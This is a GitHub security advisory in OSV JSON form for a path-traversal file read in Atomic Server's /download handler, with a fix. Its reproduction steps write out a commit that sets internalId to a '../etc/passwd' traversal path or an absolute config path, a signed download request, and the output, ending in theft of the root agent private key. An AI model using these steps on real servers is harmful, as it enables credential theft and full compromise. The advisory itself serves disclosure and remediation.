{"id":"GHSA-8vc4-8hjq-988p","summary":"Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)","details":"## Summary\n\nThe Commit apply path enforces **no allowlist of writable properties**, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value **verbatim** as a filesystem path — `file_path.push(internal_id); NamedFile::open(file_path)` — with **no sanitization and no containment check** (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads **any file on the host**. The highest-value target is the server config file storing the **root agent private key**, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`.\n\n## Affected component\n\n- `server/src/handlers/download.rs:56-65` — `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check.\n- `lib/src/commit.rs` (`apply_changes`) — sets any property; no server-managed-property denylist.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately).\n\n1. Create a resource and set `internalId` to a traversal path — sign the Commit and `POST /commit` (200):\n\n```\nsubject = http://localhost:9883/pwnfile\nset = {\n  \"https://atomicdata.dev/properties/parent\": \"http://localhost:9883\",\n  \"https://atomicdata.dev/properties/internalId\": \"../../../../../../../../etc/passwd\"\n}\n```\n\n2. Download it. The auth signature is over the **resolved subject** (the server strips the `/download` prefix → `http://localhost:9883/pwnfile`):\n\n```http\nGET /download/pwnfile HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key: \u003cpubkey\u003e\nx-atomic-agent: http://localhost:9883/agents/\u003cpubkey\u003e\nx-atomic-timestamp: \u003cms\u003e\nx-atomic-signature: \u003ced25519(\"http://localhost:9883/pwnfile \u003cms\u003e\")\u003e\n```\n\nResponse `200 OK` returns the host `/etc/passwd`:\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...\n```\n\n3. Escalate — set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again:\n\n```toml\nserver      = \"http://localhost:9883\"\nagent       = \"http://localhost:9883/agents/+/KwsAmyzc7S/...\"\nprivate_key = \"REDACTED-ROOT-ED25519-PRIVATE-KEY\"   # server root agent key\n```\n\n4. Using the stolen key, the attacker signs a Commit with `signer = \u003croot agent\u003e` → `POST /commit` (200) edits data **as root**. Full compromise.\n\n**Expected:** `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`.\n**Actual:** Arbitrary host file read, including the root private key.\n\n## Impact\n\nArbitrary file read as the server process: `/etc/passwd`, env, TLS keys, the sled DB, K8s service-account tokens, and the **root agent private key** → root impersonation → full read/write/delete of all data. Only a standard account is needed.\n\n## Remediation\n\n- In `download.rs`: `sanitize_filename(internal_id)`, then `canonicalize` and assert the resolved path stays within `uploads_path` before opening; verify the resource is a `File`.\n- Add a server-managed-property denylist (`internalId`, rights arrays, etc.) in `lib/src/commit.rs` so clients cannot set them.","aliases":["CVE-2026-69156"],"modified":"2026-11-18T21:00:39.419615262Z","published":"2026-11-18T20:42:15Z","database_specific":{"github_reviewed_at":"2026-11-18T20:42:15Z","nvd_published_at":"2026-11-17T21:18:12Z","cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69156"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61"},{"type":"PACKAGE","url":"https://github.com/ontola/atomic-server"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/releases/tag/v0.40.3"}],"affected":[{"package":{"name":"atomic-server","ecosystem":"crates.io","purl":"pkg:cargo/atomic-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.30.0"},{"last_affected":"0.40.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8vc4-8hjq-988p/GHSA-8vc4-8hjq-988p.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]}